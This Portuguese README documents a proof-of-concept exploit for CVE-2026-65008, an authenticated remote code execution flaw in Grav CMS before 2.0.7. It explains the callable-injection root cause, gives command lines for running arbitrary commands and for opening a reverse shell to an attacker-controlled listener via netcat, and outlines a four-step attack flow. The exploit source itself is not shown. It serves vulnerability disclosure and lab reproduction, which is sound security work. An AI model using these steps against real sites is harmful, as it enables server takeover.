CVE-2026-65008 — RCE autenticado no Grav CMS < 2.0.7

Prova de conceito para CVE-2026-65008: execução remota de código autenticada no Grav CMS por meio de call_user_func_array() sem restrições em Blueprint::dynamicData().

Um usuário com admin.pages (ou api.pages.write) pode inserir um frontmatter de formulário malicioso. O payload então é executado como o usuário do servidor web quando qualquer visitante (incluindo não autenticados) carrega a página.

Somente testes autorizados. Use apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar.

Créditos

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

Causa raiz

Blueprint::dynamicData() passa um callable Class::method controlado pelo atacante e argumentos para o call_user_func_array() do PHP sem allowlist. Combinado com Grav\Common\Utils::arrayFilterRecursive como um trampolim, isso alcança system() / passthru / etc.

Corrigido no Grav 2.0.7+.

CVSS

9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requisitos

• Python 3.10+
• requests

Instalação:

pip install -r requirements.txt

Uso

Execução de comandos

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

Reverse shell

Inicie o listener primeiro:

nc -lvnp 4444

Em seguida:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

Argumentos

Fluxo

1. Faça login em /admin (extraia login-nonce)
2. Obtenha o admin_nonce no painel de administração
3. Salve uma página cujo frontmatter contenha o gadget data-opts@:
4. Acione com um GET não autenticado → RCE como www-data

Aviso legal

Este projeto é apenas para pesquisa de segurança educacional e autorizada. O autor não é responsável pelo uso indevido. Sempre obtenha permissão por escrito antes de testar sistemas de terceiros. A vulnerabilidade original foi divulgada por meio do aviso do fornecedor; este repositório apenas demonstra a reprodução em laboratório.

Referências

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

Licença

Para uso em pesquisa. Sem garantia.